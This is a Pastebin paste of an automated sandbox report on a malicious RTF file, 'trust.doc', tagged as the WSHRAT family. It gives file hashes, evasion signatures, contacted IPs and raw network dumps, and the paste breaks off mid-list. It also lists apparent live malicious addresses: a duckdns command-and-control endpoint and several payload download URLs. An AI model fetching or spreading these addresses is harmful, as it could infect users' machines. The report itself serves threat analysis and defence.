API tools faq
paste
paladin316

trust_doc.json

paladin316
Jun 19th, 2019
3,350
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 242.27 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Wshrat"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "trust.doc"
  7. [*] File Size: 267384
  8. [*] File Type: "Rich Text Format data, version 1, unknown character set"
  9. [*] SHA256: "2175767fd4725e3e4b46cc652b62f56ddb661f088a53809220df842a5f835773"
  10. [*] MD5: "b66f32763e817acc0b5de9c4157165e6"
  11. [*] SHA1: "540401695d795420637ae032cad90f05ec257cc6"
  12. [*] SHA512: "60a97371c35331c02cff46464a08bf8d126213d97227cebbeabd1b08524dea58cc219e3e8fb1dfdc6d9964bb3a601522f58542b7d61bc6a618ec75c2ea217cd4"
  13. [*] CRC32: "78E29A47"
  14. [*] SSDEEP: "768:s7Kf2sdrM3xaSybdRZXZWkWZNLePM1IGtZpN1wf3svUNMZbPDmkyeG6hb7p+ReNg:sxxQW3yUTdXhG1zAUoYsRqzF5"
  15.  
  16. [*] Process Execution: [
  17. "WINWORD.EXE"
  18. ]
  19.  
  20. [*] Signatures Detected: [
  21. {
  22. "Description": "Possible date expiration check, exits too soon after checking local time",
  23. "Details": [
  24. {
  25. "process": "WINWORD.EXE, PID 684"
  26. }
  27. ]
  28. },
  29. {
  30. "Description": "A process attempted to delay the analysis task.",
  31. "Details": [
  32. {
  33. "Process": "WINWORD.EXE tried to sleep 392 seconds, actually delayed analysis time by 0 seconds"
  34. }
  35. ]
  36. },
  37. {
  38. "Description": "Attempts to connect to a dead IP:Port (7 unique times)",
  39. "Details": [
  40. {
  41. "IP": "52.109.20.1:443"
  42. },
  43. {
  44. "IP": "104.85.240.25:443"
  45. },
  46. {
  47. "IP": "104.18.24.243:80"
  48. },
  49. {
  50. "IP": "66.210.41.17:80"
  51. },
  52. {
  53. "IP": "66.210.41.16:80"
  54. },
  55. {
  56. "IP": "72.21.91.29:80"
  57. },
  58. {
  59. "IP": "23.64.189.123:443"
  60. }
  61. ]
  62. },
  63. {
  64. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  65. "Details": [
  66. {
  67. "ioc": "content.inf"
  68. },
  69. {
  70. "ioc": "iew.thmx"
  71. },
  72. {
  73. "ioc": "ccent.glox"
  74. },
  75. {
  76. "ioc": "ontent.inf"
  77. },
  78. {
  79. "ioc": "iso690.xsl"
  80. },
  81. {
  82. "ioc": "asis.thmx"
  83. },
  84. {
  85. "ioc": "adial.glox"
  86. },
  87. {
  88. "ioc": "nline.xsl"
  89. },
  90. {
  91. "ioc": "ist.glox"
  92. },
  93. {
  94. "ioc": "chevronaccent.glox"
  95. },
  96. {
  97. "ioc": "rocess.glox"
  98. },
  99. {
  100. "ioc": "anded.thmx"
  101. },
  102. {
  103. "ioc": "chicago.xsl"
  104. },
  105. {
  106. "ioc": "architecture.glox"
  107. },
  108. {
  109. "ioc": "mlaseventheditionofficeonline.xsl"
  110. },
  111. {
  112. "ioc": "gosttitle.xsl"
  113. },
  114. {
  115. "ioc": "gb.xsl"
  116. },
  117. {
  118. "ioc": "rid.glox"
  119. },
  120. {
  121. "ioc": "..3b"
  122. },
  123. {
  124. "ioc": "harvardanglia2008officeonline.xsl"
  125. },
  126. {
  127. "ioc": "rame.glox"
  128. },
  129. {
  130. "ioc": "pictureorgchart.glox"
  131. },
  132. {
  133. "ioc": "turabian.xsl"
  134. },
  135. {
  136. "ioc": "iso690nmerical.xsl"
  137. },
  138. {
  139. "ioc": "rame.thmx"
  140. },
  141. {
  142. "ioc": "rc.glox"
  143. },
  144. {
  145. "ioc": "sist02.xsl"
  146. },
  147. {
  148. "ioc": "ieee2006officeonline.xsl"
  149. },
  150. {
  151. "ioc": "e.gu"
  152. },
  153. {
  154. "ioc": "quations.dotx"
  155. },
  156. {
  157. "ioc": "gostname.xsl"
  158. },
  159. {
  160. "ioc": "ext.glox"
  161. },
  162. {
  163. "ioc": "set.dotx"
  164. },
  165. {
  166. "ioc": "ividend.thmx"
  167. },
  168. {
  169. "ioc": "etropolitan.thmx"
  170. },
  171. {
  172. "ioc": "arallax.thmx"
  173. },
  174. {
  175. "ioc": "ype.thmx"
  176. },
  177. {
  178. "ioc": "erlin.thmx"
  179. },
  180. {
  181. "ioc": "adge.thmx"
  182. },
  183. {
  184. "ioc": "rop.thmx"
  185. },
  186. {
  187. "ioc": "eadlines.thmx"
  188. },
  189. {
  190. "ioc": "avon.thmx"
  191. },
  192. {
  193. "ioc": "uotable.thmx"
  194. },
  195. {
  196. "ioc": "ircuit.thmx"
  197. },
  198. {
  199. "ioc": "g.n9"
  200. },
  201. {
  202. "ioc": "roplet.thmx"
  203. },
  204. {
  205. "ioc": "amask.thmx"
  206. },
  207. {
  208. "ioc": "late.thmx"
  209. },
  210. {
  211. "ioc": "eathered.thmx"
  212. },
  213. {
  214. "ioc": "vent.thmx"
  215. },
  216. {
  217. "ioc": "rail.thmx"
  218. }
  219. ]
  220. },
  221. {
  222. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  223. "Details": [
  224. {
  225. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  226. },
  227. {
  228. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  229. },
  230. {
  231. "suspicious_request": "http://vemvemserver.duckdns.org:1425/is-ready"
  232. },
  233. {
  234. "suspicious_request": "http://doughnut-snack.live/klplu.tar.gz"
  235. },
  236. {
  237. "suspicious_request": "http://doughnut-snack.live/bpvpl.tar.gz"
  238. },
  239. {
  240. "suspicious_request": "http://doughnut-snack.live/mapv.tar.gz"
  241. },
  242. {
  243. "suspicious_request": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D"
  244. },
  245. {
  246. "suspicious_request": "http://checkip.amazonaws.com/"
  247. }
  248. ]
  249. },
  250. {
  251. "Description": "Performs some HTTP requests",
  252. "Details": [
  253. {
  254. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  255. },
  256. {
  257. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  258. },
  259. {
  260. "url": "http://paroquiadamarinhagrande.pt/1/xvosya.msi"
  261. },
  262. {
  263. "url": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
  264. },
  265. {
  266. "url": "http://ocsp.comodoca4.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEAui0B3Ly3d26KxlCXrBJUE%3D"
  267. },
  268. {
  269. "url": "http://vemvemserver.duckdns.org:1425/is-ready"
  270. },
  271. {
  272. "url": "http://doughnut-snack.live/klplu.tar.gz"
  273. },
  274. {
  275. "url": "http://doughnut-snack.live/bpvpl.tar.gz"
  276. },
  277. {
  278. "url": "http://doughnut-snack.live/mapv.tar.gz"
  279. },
  280. {
  281. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D"
  282. },
  283. {
  284. "url": "http://checkip.amazonaws.com/"
  285. }
  286. ]
  287. },
  288. {
  289. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  290. "Details": [
  291. {
  292. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd6\\xc0\\x92\\xbd\\x1d\\x99\\x0c\\xedl\\x8e\\xf7\\x9f\\x94uk\\x86 \\xa4a\\xc3\\x8a\\xcc\\xff\\xd3\\xac\\x92ti|\\xb0\\x9c2\\xb1\\x14i^\\x9e3\\x85d\\xd9\\x99\\x10\\x11n\\xba\\x1ddd\\xdb\\xa4i\\xb1\\xa1\t\\xe2\\x9f\\xe2\\x0e\\xf0r\\xc0\\x03r\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0000im\\xb6\\x82?y\\xa5\\xab\\xb1\\x07\\xca'\\x91tg[p\\xcf\\xbax\\xa6\\xab\\xf2j\\xa4`s\\xbb\\xb5\\xab\\xc2o\\xad\\x9e\\xfd\\xf9\\xa4)\\x82\\xe3ss.\\xd5\\x005)"
  293. },
  294. {
  295. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\ncache-control: max-age = 89056\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: fri, 22 mar 2019 18:30:24 gmt\r\nif-"
  296. },
  297. {
  298. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  299. },
  300. {
  301. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x94\\x8d\\x8d\\x8f\\x95?\\x998\\xe7[\\xe15\\x13\\xaf{\rrw\\xb8\\xf2\\xff\\x7f\\xd0\\x889jf\\x92\\xea\\x89\\xd2\\xa2\\xff\\xa5\\x9e\\x9c\\xb4\\xbe~\\xb1\\xda\\xf0\\xe84h\\x97\\x16u\\x83\\x96\\xfe\\xa6\\x1bn\n\\x08s\\xae\\x03\\xe5\\xef\\xded\\xber\\xba\\xec\\x9b'\\x0f\\xcc\\xa5\\xf9-\\x80[\\xb8z\\xfa\\xd5i\\x1f-\\x0b\\x8b\\xa2\\xb3\\xed'\\xa2\t\\xa8\\x986z}\\xd4\\x85\\x85c\\x8c@o/tvc\\xb1\\x1c\\xaa)\\xa2\\x1b\\xd8\\x14\\xde\\x7f\\x90\\xae\\x95e\\x0f-f\\x1btg\\x8b\\xe1\\xba\\xe9\\xc2\\xbba\\x0fo&p\\xb0\\xbc\\xee=\\x1ep\\x81\\xf8\\x85v\\xbd\\xd8w\\xfd\\x83\\x9cv\\xa7\\x07wn1\\xf6\\x87;\\x1b\\xbf\\x1d\\xf4\\xb1k\\x10\\xac]c\\x12\\xc8\\x9cg4l[\\xd8\\xcb\\xf6+\\xda\\xbam/\\xe2\\xf5\\xde\\x05\\x10{\\xa7\\xcf\\xfc\\xd8\\xfdi\\xc5\\x87\\xee]\\xf3v0\\xd2|\\x11\\x9d\\xcb\\x9a\\xc6vs\\xbf\\xcb)\\xe3\\xcf]d.\\x8a\\xcf\\xb2\\xc7\\x14\\xcc]\\x80\\xca\\xea4,\\x92}a\\x1a'\\xe4{\\xa3\\xf7\\xabj\t\\xb6g\\x10"
  302. },
  303. {
  304. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 p5f\\x1f\\xd0u\\xd5\\xe2)\\x05`\\xd5u\\xf3\\x1e\\x05\\xd1d\\x1e\\xe1\\xacj\\x07\\xceg\\x94}v\\xec*,\\x8f\\xb3\\x8d\\xaey8\\xe1\\xdd^8\\x87\\xe8\\xb2\\x19\\x9b\\xe8\\x03\\xfc\\xc2\\x01\\xa2k:]+~th[yw\\x02#\"x\\xff\\x0e\\xb6\\x13[}\\xdc.\\xbb\\xe9\\xfc`\\x85\\xebio)\\xb3\\xc0\\x0e\\x00\\x14\\xc0\\x1e\\xb6\\x0clm\\xb2\\x11gen}\\xb2\\x87\\xa8\\x19\\x83\\xf4\\xde\\x1al\\x1c\\\\x19f\\xe5\\xc6\\xd6\\x90\\x16@%j\\xcd\\x8f\\x99,\\x83<\\xd0\\x1a\\xa5r\\xff\\xb0$z\\xd93\\xa7\\xbb\\xc3\\x8d\\xec\\xe7\\xf9\\xe0\\xa9\\xfa\\xd0\\xa1)n\\xbe\\x91_\\x89\\xe0m\\xbb\\xe7]\\xa1\\xda\\x16;\\x84\n\\xf4\\xc4j\\\\xf0\\xfc=\\x12y\\x16\\xe7\\xeast\\x08\\xb4#s\\xd7t6\\xdc\\xe8\\xdd\\x0e\\x97r\\xdd\\\\xd6\\xee\\xae\\xe1\\xa3\\xd8\\xafur\\x8d\\x93ch\\xbd\\x94h\\xbc2|\\x90\\x9b\\x18\\x02\\xa8\\xecy\\x86ir\\x8f)\\x1d\\x064\\x1f\\x01\\x10\\x03\\x10)\\xd6\\xeds\\x11f\\xb2+\\x02\\xed\\xdajj\\xb1\\x80\\x83x"
  305. },
  306. {
  307. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x01\\xb0\\x9c\\xd5\\xdc\\x89x\\x19\\xf4\\x1b\\xe9\\xe1\\xaf\\x91\\xa1$\\xeap\\xcc\\x8e-\\xbe\\xd9\\xa0\\x8b\\xb7\\x81yl\\xef\\xbf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  308. },
  309. {
  310. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04_\\x9a\\x8c\"q\\x1a,\\xfb\\x8a\\x18\\xce\\xdc\\xd98b*7a\\xe5g\\\\x8e'e\\x7f)v3`\\x91\\x02p\\xc3\\x83t\\xe5n\\xbe\\x80}\\x97\\xa3!\\xb0x\\xd6q\\x18>}\n\\xf3\\x94\\x03jb\\x8d;\\xda\\x1f/\\x0el\\x1f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x14\\xc9m\\xeee\\xba\\xda`\\xf3\\xa1\\x95p`\\x93qk\\\\x93(a\\xfe\\xa7\\x1d\\xac\\xba\\xea7p\\xa14\\xe2\\x00\\x86\\xaa8k\\xc89r\\xb1@q\\x86;-\\xe4\\xc1f"
  311. },
  312. {
  313. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xa6\\xc8w\\x04kg&\\x12\\xd0n\\x8e\\xce\\xa5\\x89p\\xf0e*p\\x86\\x83\\x83wcwar\\x8d\\xe7v\\xb2\\x80\\x03\\xa7/e\\xac\\x9e\\xde\\xc2\\xaet\\x066@g|\\xe8&\\xb4\\xbe!9\\xcf\\xedft\\xd7b{z]\\xaa\\xcai\\xedh<\\xf0\\x02\\x12 \\xd8\\xcf\\x97\\x8e?\\x99\\xc6\\x88\\xed\\xfb\\xbe\\x05\\x16\\x96\\x0fa}\\xf4)\\xf2\\x837jxy#\\xe0\\xee\\xe5\\x9d\\xda\\x9aoz\\xb6\\xcb\\xde\\x9f\\xec\\x94\\xb9\\xec\\x8d*f\\x02\\x12t\\x97>\\x06\\xd3\\xcd\\xbd\\xbc\\xd2\\xd6p\\x820|\\xf3=\\xf6\\x97\\x17\\x86\\xaapp\\xe6\\xfd\\xac5))g\\x0b\\xf1\\xcf3\\xef \\xb7\\xb2>t6\\xe1\\xeb\\xc8\\xf2\\xc7\\x8b9\\xcd\\x0c8\\xe7{yz\\xf9@\\x009\\xd3\\x15\\x9a\\xd03\\xe0\\x03\\xe3\\xd0[\\xf8)\\xbd+\\x18\\x88f\\x83d/b\\x9a\\xb4b\r\\xe7\\x15x\\xf7\\x8c\\xbf\\xa6\\xbd\\xbf\\xc3\\xdb\\xe8\\xc1\\x94\\x06\rp4h4\\x11`k\\xeai\\xb7\\x11\\xe6\\xce\\xfe\\xa1/c\\xd9:\\x0f\\xa5la\\x00\\xea_\\xd8\\x98\\xec\\xe6\\xc0\\xa0"
  314. },
  315. {
  316. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x01\\xb0\\xb1\\x8f\\x9e\\xeb,\\x1a\\xb1\\xa1\\pvo\\xc5\r\\xb7\\x94\\x03%b\\xd12\\x85\\x85\\x9ff\\x83\\xd5:\\x83\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  317. },
  318. {
  319. "http_request": "winword.exe_WSASend_\\xff\\xff\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x99\\xfe\\x9b\\xa5\\x81\\x8agyu+\\xa9be\\xbd\\xbdj<\\xf9\\x0b\\x80z7j\\x84<\\xa0\\x95\\x9c\\xa0\\xc5\\xff\\xb5\\xdd;[\\x8c\\xa3\\x04\\x92\\x80ex\\x8b\\x10\\x96\\xab\\xd1\\xf2\\xd6\\x10\\xbe\\xca\\xb8c\\xc5\\xb9\\x00[\\xe7\\x02\\x15y\\xf1\\xb5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xda\\xf5\\x94\\xbc\\xa6\\xa2\\xef\\xd8\\xb60\\x1c\\xbd5\\xc52\\x85\\xd1\r{ex\\xd4\\xd9\\x087\\xee\\xe4\\xa4\\xc7\\xee\\xf6\\xaf\\xce\\xf1&ge\\x9b\\xa3@\\xbd\\xc3\\xcd\\xa7w\\x87\\xc1\\xf5"
  320. },
  321. {
  322. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x1c$\\xd9\\x1d\\x17\\xfa#\\x9e\\xb4<\\xea`\\x06\\xf8g>r\\xd3\\x1b\\x9a\\xee(\\xc77n\\x00\\x83c\\x84\\xdc\\xddl\\xbd\\x8eg{ft\\x88\\xe1\\xef\\x8b\\x91\\xdf\\x08\\xa9`\\xbf\\xe3\\x1a&\\x9c\\xf2\\x05e\\xbc\\x96\\xc1/\\x8a\\xfe\\xfb\\x94w\\x9f\\xe0g\\xa8\\xed\\x05\\xe5\\xbe\\xa9\\xcd\\x8by\\xb3\\xf7\\xb7$j\\xd1\\xadnn\\x9e\\xca\\xff\\xd8\\x06\\xc0\\x86\\x10\\x85c\\xcd\\x85\\x86\\x8f\\xf1\\xc9\\x08ncem\\xb6\\xa3\\xe4\\x1f6\\x85?\\x18v\\xf0d\\xda\\xac\\x8f\\xdf\\xc4o\\x87+qx\\xba\\xe9\\xd7\\x90\\x10\\xbf\\xe6\\xe9\\x0e\\xc1\\x98j\\xbe\\x01=\\xa9z6\\xf7d\\xabhm\\xc1\\x02\\x838\\xab\n>\\x14n\\xb0q\r\\x13\\xa1\\x7f\\x11`\\xdbc\\xb5\\xea\\x7f\\x11\\xdbt\\x18\\xc62\\xf6\\x8b\\xc2p\\x80\\x8a\\x95\\x89\\xad\\xeb\\xfbj\\xf127\\xad\\x08ee\\x90\\x89\\xa0q\\xc8\\x84\\xaa.\\xb6\\x84,}\\xee\\xa3h\\xcfo\\x07qt#\\xbc\\x8e\\xe0x#\\x8b|r4\\xdefk\\xc3^\\xf9\\xfd\\xe2\\x11\\x92\\x12\\xf8`\\xf4\\xf5\\x9eb\\x8ds\\xc8y\\x17\\x82\\x8c"
  323. },
  324. {
  325. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbeqy\\xf3\\xe76m/f|\\xde\\x03a\\xebd\\x806\"\\xbb\\xf0\\x85j\\x96\\xfd\\xae\\xea\\xa2`\\x88\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  326. },
  327. {
  328. "http_request": "winword.exe_WSASend_\\xff\\xff\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xe1\\x82>\\xd7#\\x04\\xc3\\xf7ty\\x92&h\\x06\\x01\\x07j1\\xca\\xf71\\x103\\xbb!\\xc4n\\x1f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  329. },
  330. {
  331. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe@$\\xf3\\xa5\\xea\\xef\\xb7\\xdb\\x15\\xe7\\xd5\\xad\\xfd\\xa3n\\x99ha\\xdda\\x98\\x7f|\n\\xed\\xed\\xf8-\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  332. },
  333. {
  334. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xfd9\\xc6\\xbe\\xad\\x03\\xa3\\xaf\\xcd\\xb1\"\\xe1\\x84\\xb1+\\xe7\\xca\\x82\\xf54gdo\\xd5\\x10`jm\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  335. },
  336. {
  337. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe3\\xc6\\x13\\x84\\xe8\\xadq\\x19\\xd7\\x06\\x97\\x0f#\\xe3\\x99\\x1fz4'\\xb8\\xb1\\xacrc\\xf5\\xce;\\x06\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  338. },
  339. {
  340. "http_request": "winword.exe_WSASend_.\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbeh\\x87y\\x13\\xb6cs\\xd2j\\xe0 \\xa3\\xaf\\xd8)\\xae\\xeb&\\xc0]+6\\xc5\\xde\\x88\\xfc\\x1f\\xd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  341. },
  342. {
  343. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xaap\t\\xe6h\\xbfi\\xbc~\\xf8\\x81paq\\xf8x\\x97\\xc5\\xf4$\\x91\\xee~\\xe1\\xf02.\\xaf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  344. },
  345. {
  346. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe7\\x0c\\xcf\\xd0b\\xebt[\\xee\t8\\x14\\xa7\\xf0m\\xf3\\x17\\x10\\x86a\\xd0\\xb0\\x16e{\\xed\\xfb\\x04\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  347. },
  348. {
  349. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\x865\\xc1p\\x93dg\\xa3j\\xcd\\xa6\\x04:p\r\t\\xb2\\xab\\xa7\\x0cq\\xbc\\x9e\\x8b\\xac\\x83\\xfd\\xe7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  350. },
  351. {
  352. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xd8\\x98_\\xe6)\\xf9k\\xf5p?<\\xf5s\\x7f\\xfb\\xcc\\xb7$\\xf8kg\\xf2\\x8f\\x14v4]\\x0b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  353. },
  354. {
  355. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbeiex\\x1bt|\\xd5\\xe4\\x82q#/\\x12\\xaf\\x03j:\\xe4h\\xb82\\x0e\\xce\\x1f\\x93\\x9d\\x1f\\xb0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  356. },
  357. {
